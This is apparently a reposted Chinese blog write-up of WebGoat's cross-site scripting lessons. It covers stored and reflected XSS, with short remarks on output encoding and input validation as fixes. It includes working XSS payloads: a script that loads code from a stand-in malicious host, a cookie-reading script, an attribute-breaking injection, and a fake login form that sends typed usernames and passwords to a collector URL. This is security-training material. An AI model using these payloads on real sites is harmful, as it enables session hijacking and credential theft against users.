WebGoat——XSS Attacks(part 1)
来源:互联网 发布:surface book mac 编辑:程序博客网 时间:2024/05/21 04:20
跨站脚本攻击在其他用户可以看到的地方放置恶意代码,通常是JavaScript代码。表单中的目标字段可以是地址、留言评论等。恶意代码通常窃取Cookie,从而可以使攻击者冒充成用户,或者进行社会工程攻击,诱引受害者泄漏自己的密码。Hotmail,Gmail和AOL都曾受到过这类社会工程攻击。
这里并不想特意论述操纵浏览器漏洞的JavaScript或类似技术,有三种方法可以对应用程序进行测试,如果成功的话,就表明该应用程序存在漏洞。
<script>document.write(document.cookie)</script>
<script>alert('Salut!')</script>
<script src="http://www.malicious-host.foo/badscript.js"></script>
请注意,最后一行代码从完全不同的一台服务器上调用了JavaScript,该技巧可以绕过绝大多数有长度限制的情况,因为badscript.js文件可以任意长而它的引用语句却相对较短。这些测试针对表单非常容易进行,在任意一个会重显的字段中试着简单填入字符串即可。比如,许多电子商务网站在你输入地址后,会显示一个确认页面,可以尝试在“街道名称”中输入<script>标记,看看会发生什么。
还有一些其他方法可以执行XSS攻击,像前面提到的那个例子,程序的搜索引擎也是XSS攻击的一个主要目标,可以在搜索字段中输入攻击内容,也可以直接通过URL提交:
http://Website/search/search.pl?qu=<script>alert(‘foo’)</alert>
我们还发现,错误页面也经常遭受XSS的攻击。比如,一个正常程序的错误页面URL如下:
http://Website/inc/errors.asp?Error=Invalid%20password
这会显示一个定制的拒绝访问页面,上面写着“Invalid password”(无效口令)。在页面内容中发现URL中的字符,这充分说明存在XSS漏洞。可以构造如下的攻击:
http://Website/inc/errors.asp?Error=<script%20src=...
也就是将脚本标记放在URL中。现在,你应该知道如何进行测试了。
1、Publishing with XSS 发布环境中的XSS攻击
题意
在搜索框中输入XSS攻击代码,需要实现的目的有三个:一、插入请求认证的html;二、添加JavaScript来收集认真信息;三、将认真信息传递http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
XSS攻击代码如下:
用户名<input name='Username'></input> 密码<input name='Password'></input> <input type="submit" value="Login" onclick="var xssImg=new Image();xssImg.src='http://localhost:8080/WebGoat/catcher?PROPERTY=yes&u='+this.form.Username.value+'&p='+this.form.Password.value;">
效果如下:
攻击思路:添加html认证信息,通过提交时将认证信息提交服务器。
2、存储型 XSS
XSS代码被提交给网站-->网站把XSS代码SetCookie给浏览器-->浏览器再次请求网站时提交包含XSS代码的Cookie-->网站从Cookie中取出包含XSS代码的某变量并将该变量作为页面内容的一部分返回给客户端-->客户端执行XSS代码
题意:以Tom登录通过修改信息页面,执行一个存储型XSS,攻击Street一栏,然后证明Jerry受到了这种XSS攻击。
分析源代码可以看到,如下
思想:首先想到的是闭合input的value属性,再写js脚本弹出相关信息即可。
代码:
"><script>alert("Aha,You are hacked!")</script>效果如下:
3、阻止存储型 XSS
问题描述:通过输出编码使得XSS攻击失效。
分析弹出alert框的页面源码时,可以发现页面被嵌入了一个存储型XSS脚本,如下
需要通过输出编码使得脚本失效,
效果如下:
4、反射型 XSS
问题描述:在查询页面插入一个反射型XSS即可。在查询页面插入如下脚本:
结果:
5、阻止反射型 XSS
修改源代码,使得上述的反射型XSS不能被执行。
思想很简单,就是要做输入认证,使得脚本不能被执行。
- WebGoat——XSS Attacks(part 1)
- WebGoat——XSS Attacks(part 2)
- WebGoat学习笔记(六)——Cross Site Tracing(XST) Attacks
- WebGoat学习笔记(四)——Phishing with XSS
- WebGoat--xss
- WebGoat——CSRF
- WebGoat——XST
- WebGoat——盲注
- WebGoat——RBAC
- WebGoat实验-XSS(跨站脚本攻击)
- WebGoat——SQL injection
- WebGoat学习笔记(一)——HTTP Splitting
- WebGoat学习笔记(二)——JASON Injection
- WebGoat学习笔记(三)——Code Quality
- WebGoat学习笔记(七)——Command Injection
- WebGoat学习笔记(八)——Insecure Communication
- XSS Attack Examples (Cross-Site Scripting Attacks)
- Protect Against Cross Site Scripting (XSS) Attacks
- ubuntu 安装 oracle 10g
- Adding a external jar reference in Android.mk
- 使用 libevent 和 libev 提高网络应用性能
- ThreadLocal类简单介绍
- IDEA 快捷键
- WebGoat——XSS Attacks(part 1)
- 关于IIS 浏览 shtml 404错误的问题
- 字符串的比较
- ubuntu下终端路径只显示当前目录
- 向服务器请求数据的五种技术
- 使用NSOperation和NSOperationQueue用来实现多线程
- 学习笔记(十三)
- create table #temptable 临时表 和 declare @bianliang table ()表变量
- DLL 作为 MDIChild (子窗体)